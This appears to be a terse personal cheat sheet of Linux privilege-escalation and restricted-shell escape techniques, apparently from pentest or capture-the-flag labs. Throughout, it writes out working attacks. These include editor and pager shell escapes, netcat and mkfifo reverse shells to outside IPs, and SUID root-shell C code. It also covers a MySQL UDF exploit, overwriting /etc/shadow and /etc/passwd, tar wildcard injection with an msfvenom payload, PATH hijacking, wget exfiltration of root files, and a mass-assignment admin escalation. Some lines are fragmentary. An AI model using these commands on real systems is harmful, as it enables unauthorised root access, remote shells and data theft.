Some of these shells provide third party command execution
Editors like “vim” provide us a well known techniques to bypass shell restrictions.
Vim has a feature which allow us to run scripts and commands inside it.
--------------------
>> sudo -l
>> sudo -u victim vim
:r /home/victim/key.txt ..to read the file over vim
:!/bin/bash ..to spawn bash .. over vim
--------------------
sudo vi /var/test
:!/bin/bash
whoami
root
--------------------
sudo vi /var/test vi -c ':!/bin/sh' /dev/null
---------------------
vim
:!/bin/ls -l .b*
Vim will get you out of the editor and execute: ls -l .b*
Showing all /etc files with names beginning in a letter .b
vim
:set shell=/bin/sh
:shell
vim
:!/bin/sh
---------------------
ed
Simple editor with not many features that could compromise the system, but still it also has third party command execution features inside, very similar to vim.
Once inside ed we can escape the normal shell by executing
We managed to get out of lshell and execute commands we were not allowed before.
ed
!’/bin/sh’
== ==== ==
ne
Minimal and modern replacement for vi.
As you can see inside lshell we have no permission to go back to “/”
or any other directory above ours.
ne editor has a very interesting feature that allow us to save or load configuration preferences. We can abuse this feature to read contents in the file system.
ne
ESC
Main configuration menu
“Prefs” menu
“Load Prefs”
Open any file you want.. even: /etc/passwd
--------------------
awk
If you can get 'awk' as as another user..
1. AWK Operations:
(a) Scans a file line by line
(b) Splits each input line into fields
(c) Compares input line/fields to pattern
(d) Performs action(s) on matched lines
awk '{print}' employee.txt
awk '/manager/ {print}' employee.txt
awk '{print $1,$4}' employee.txt
awk '{print NR,$0}' employee.txt ..NR will show line numbers too
>> sudo -u victim awk '{print}' /home/victim/key.txt ..to view files!
>> sudo -u victim awk 'BEGIN {system("/bin/bash")}' ..to spawn bash!
---------------------
This will look for a fake file
But also execute a pipe to commands
But will only execute commands allowed to user
works for: rbash, rzsh, rksh
But not : lshell
> find . -name test.php -exec awk 'BEGIN {system("cd /root; ls")}' \;
---------------------
find copy command to get root-shell
> sudo find . -exec /bin/sh \; -quit
Pager Escapes
--------------------
less
If you can get 'less' as as another user..
You can read files...
>> sudo -l
>> sudo -u victim less /home/victim/key.txt
!/bin/bash ..to spawn bash .. out of less !!!
--------------------
more
Open a big file with 'less' or 'more' to get paging
Then try and break out with a shell command:
>> less .bashrc
!'sh'
$ ... win!!!
--------------------
man
we can use man too, b/c it utilizes less/more as pager
>> man ls
!'sh'
$ ... win!!!
--------------------
pinfo
>> pinfo ls
! .. will let us run commands!
! ls /etc
! nc -h
! nc 192.168.0.21 5000 -e /bin/bash
And listen on host with:
nc -lvp 5000
nc escape
nc
“Network Swiss Army Knife”
Creative use of nc pipes a session to host
rm -f /tmp/f;
mkfifo /tmp/f;
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 192.168.0.21 5000 > /tmp/f”
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 192.168.0.21 5000 > /tmp/f”
echo 'nc -e 10.x.x.x 4444' > ./monitor.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.x.x.x 4444 >/tmp/f' > monitor.sh
chmod +x ./monitor.sh
nc -nvlp 4444
sudo ./monitor.sh
Connect!
1 force delete /tmp/f
2. fifo is similiar to a pipe, used by multiple procs for read/write
3. Opens fifo
...Send contents to interactive shell
...Discards errors
...Pipe results as rev shell to nc\remote
...(victim is listening for a shell)
...(connect with host, and get a shell)
This kind of reverse shell technique will only work...
if the restricted shell allows redirect and escape characters.
----------------
links
open website like google.com (since it has a text-box)
'ESC' to get config menu
File > OS Shell
----------------
lynx .. to google.com
'o' for options
change 'Editor' path to /usr/bin/vim
Accept changes
google.com > cursor to search-box
'e' to edit content (as we just setup)
vim will now load
:!/bin/sh ..to try and escape!!
Shortcut:
>> lynx --editor=/usr/bin/vim www.google.com
----------------
elinks
Set the Editor to use vim
export EDITOR=/usr/bin/vim
google.com (w/text box)
Cursor to text-box > ENTER and F4
vim will open!!
:!/bin/sh ..to try and escape!!
----------------
mutt
mutt is a Linux console email reader
>> mutt
! .. for a shell command
/bin/sh .. to escape
or: folder files created within get privs of dir-grp
View perms
ls -l /bin/date
-rwx r-x r-x
Users have 3 ids
real:effective:saved
read: who they actually are
efct: whoami will reveal
savd: suid can temp switch back-forth
id ..print id/gp of user
cat /proc/$$/status | grep "[UG]id"
Spawn a Root Shell
copy /bin/bash
rename to rootbash owned by root user, with SUID bit set
rootbash -p
Root Shell: Bash
sudo -l
If you find something to update/execute as root
Tweak it to give you a quick shell:
#!/usr/bin/bash
su
Copy Bash
A few years ago, you could exploit this configuration issue by copying a shell
(bash a long time ago and ksh more recently)
[Un]fortunately most shells will now prevent this attack.
--------------------
> sudo -u victim cp /bin/bash /tmp/foo
> sudo -u victim chmod +xs /tmp/foo
.. heres a workaround:
--------------------
sudo: cp and chmod
Create the 'cat key' with vi
Compile it, copy it with sudo (so it will be owned by victim)
Once you copied it, you should be able to
set the setuid and setgid flags on it using:
>> vi /tmp/catch.c
int main(void)
{system("cat /home/victim/key.txt");}
>> gcc catch.c -o catch
>> sudo -u victim chmod +xs catch .. not permitted
>> sudo -u victim cp catch ./catch2
>> sudo -u victim chmod +xs catch2
>> catch2
Root Shell: C
root process executes another process
C code to compile that will spawn a bash-root-shell
int main() {
setuid(0);
system("/bin/bash -p");
}
> gcc -o name filename.c
lse-sh -l 1 -i
Found mysl running as root
Can we connect without password? Yes!
mysqld --version ..v5.1.73
dl exploit code:
> vim raptor_udf2.c ..view instructions
> gcc -g -c raptor udf2.c -fPIC ..for 64bit
> gcc -g -shared ... creates a shared-object for exploit
Connect:
mysql -u root -p
create table ...
insert ...
select dumpfile...
create function...
select * from mysql.func;
select do_system...id/in/out/chown/etc
select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');
exit
/tmp/rootbash -p
id ..root!
win!!
Port Forward Localhost
Setting a service on localhost does not make it secure!
We can port-forward our no-password-mysql over to my kali
Send target localhost:3306 connection over to kali:4444
VulnMachine:
> netstat -nl ..3306 mysql listening on localhost-only
> ssh -R 4444:127.0.0.1:3306 root@192.168.1.26(kali)
Kali:
> mysql -u root -h 127.0.0.1 -P 4444
> select @@hostname ..debian!!
shadow
If we can read - then we can crack
If we can write - then we can update
--------------------------
Lab
> lse.sh -i ..found shadow is readable/writeable
--------------------------
Readable:
> ls -l /etc/shadow
rw- r-- rw-
$6$ ..sha512
Copy hash to local and crack
> john --format=sha512crypt --wordlist=rockyou.txt hash.txt
password123
> su
whoami ..root!
--------------------------
Writeable:
> cp /etc/shadow /home/user/shadowbackup
> mkpasswd -m sha-512 newpassword ..create a new hash
> vim /etc/shadow ..update root hash
su ..newpassword
id ..root!!
passwd
/etc/passwd - used to have hashes for backward-compatibility
If 2nd field is hash it will take precedence over hash in shadow
Writeable: We can update to a known hash in passwd, or delete it
--------------------------
Writeable:
> lse.sh -l 1 -i ..passwd writeable
> ls -l /etc/passwd
rw- r-- rw-
Try deleting the x to create 'no password'
> root:x:0:0:root:/root:....
> root::0:0:root:/root:....
Set a new pass:
> openssl passwd "password" ..a new hash to use
dRCtCEMlsFRnA2
> vim /etc/passwd
root:dRCtCEMlsFRnA2:0:0:root:/root:...
su
password
id ..root!
--------------------------
Appendable:
Add new user with UID:0
> vim /etc/passwd
> newroot:dRCtCEMlsFRnA2:0:0:root:/root:...
su newroot
id ..root!
Environment Variables
Apps using sudo can inherit env-vars
/etc/sudoers config
env_reset ..runs in minimal
env env_keep ..runs keeping with vars
LD_PRELOAD
Can be set to path of shared obj (.so)
Make a custom shared-object
Create init() to exec
Wont work if real user ID is diff from effective uid
sudo must be configured to preserve LD_PRELOAD with env_keep
-------------------------
Demo:
echo *
ls *
touch ./-l
ls *
--help
--option=key=value
-------------------------
Make a checkpoint action that executes our rev-shell
This works b/c of the wildcard in the tar command
cat /etc/crontab
* * * * * root /usr/local/bin/compress.sh
-------------------------
cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
tar is using * and we can exploit this!
-------------------------
Plant our exploit:
Reverse shell binary
> msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT= -f elf -o shell.elf
Target home dir:
copied binary to home dir
shell.elf
-------------------------
Create checkpoint for every file processed and Define Action
touch ./--checkpoint=1
touch ./ checkpoint action=exec=shell.elf
-------------------------
local:
nc -nvlp 53
root!!
SUID/SGID
SUID files executed with owner privs
SGID files executed with group privs
Apps might add SUID files
Search with searchsploit, google, github
--------------------
ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 54192 Nov 18 2015 /usr/bin/passwd
|
setuid bit .. so that you can run passwd as root (to change your pw)
--------------------
Find Uncommon setuid binary
> lse.sh -i
Search SUID/SGID files:
> find / -type f -a \(-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
> find / -type f -a (-perm -u+s -o -perm -g+s ) -exec ls -l {} ; 2> /dev/null
/usr/sbin/exim-4.84-3 --version
searchsploit exim 4.84-3
Copy exploit '39535.sh' to target
./39535.sh
error '/bin/sh^M' bad interpreter: No such file or directory
problem: Windows New Line Character
sed to fix:
sed -i -e "s/^M//" 39535.sh
./39535.sh
root!
Perl
Note: backticks keep the priority last.. so you can sudo first!
> sudo -u victim perl -e 'print `cat /home/victim/key.txt`'
Open Bash and copy the Key:
> sudo -u victim perl -e '`/bin/bash`' ..bash is limited, no results!
> cp /home/victim/key.txt /tmp/.key ..copy the key
> chmod 777 /tmp/.key ..access to all
> exit
> cat /tmp/.key !!!
find / -type f -a \(-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
/usr/bin/kick ..execs w/root perms suid, tries to start apache2httpd
strings /usr/bin/kick ..found 'service apache2 start'
strace -v -f -e execve /usr/bin/kick 2>&1 | grep service
Found 'service apache2 start'
Vulnerable since it tries to run 'service' without a full path
Exploit:
This will run 'service' from path instead of the 'real' command
-------------------------
vim service.c
-------------------------
int main() {
setuid(0);
system("/bin/bash -p");
}
-------------------------
gcc -o service service.c
-------------------------
Add current directory to our Environment PATH
> PATH=.:$PATH
> PATH=.:$PATH /usr/bin/kick
root!
Bash Functions
Old bash can define an evil function that can pop a shell
wget (download)
If you can sudo wget.. you can write anywhere as root!
> sudo wget 10.10.14.52/shell.py -o /root/troll
--------------------------
--------------------------
wget (upload)
Pro-tip: you can upload with wget too!
> nc -nvlp 4444
> sudo wget --post-file=/root/flag.txt 10.10.14.52:4444
connected to [10.10.14.52]
flag !!!
chkrootkit
"chkrootkit privilege escalation" google
Vulnerability will run any exe named: tmp/update ..as root
But sometimes you can slip-in extras to the authentication to get in!
Object-relational mapping (ORM) to easily query the database without any SQL knowledge.
Ruby (using ActiveRecord)
You can do things like:
@user = User.find_by_name('myuser') .. to execute query and get user object results
@user = User.create(myhash) ..or automatically create and update an object from a hash
@user.update_attributes(anotherhash)
Burp intercept found:
Proxy > Intercept > ON
Proxy > Intercept > Raw > Forward (after editing)
user%5Busername%5D=test&user%5Bpassword%5D=test&submit=Submit+Query
user[username]=test&user[password]=test&submit=Submit Query ..url decoded
user[username]=test&user[password]=test&submit=Submit Query&user[admin]=true ..got admin!!
user[username]=test&user[password]=test&submit=Submit Query&user[admin]=1 ..got admin!!
Add the Admin 'organization" too:
user.organisation_id = 1
user[username]=test&user[password]=test&submit=Submit Query&user[organisation_id]=1
user%5Busername%5D=test&user%5Bpassword%5D=test&submit=Submit+Query&user%5Borganisation_id%5D=1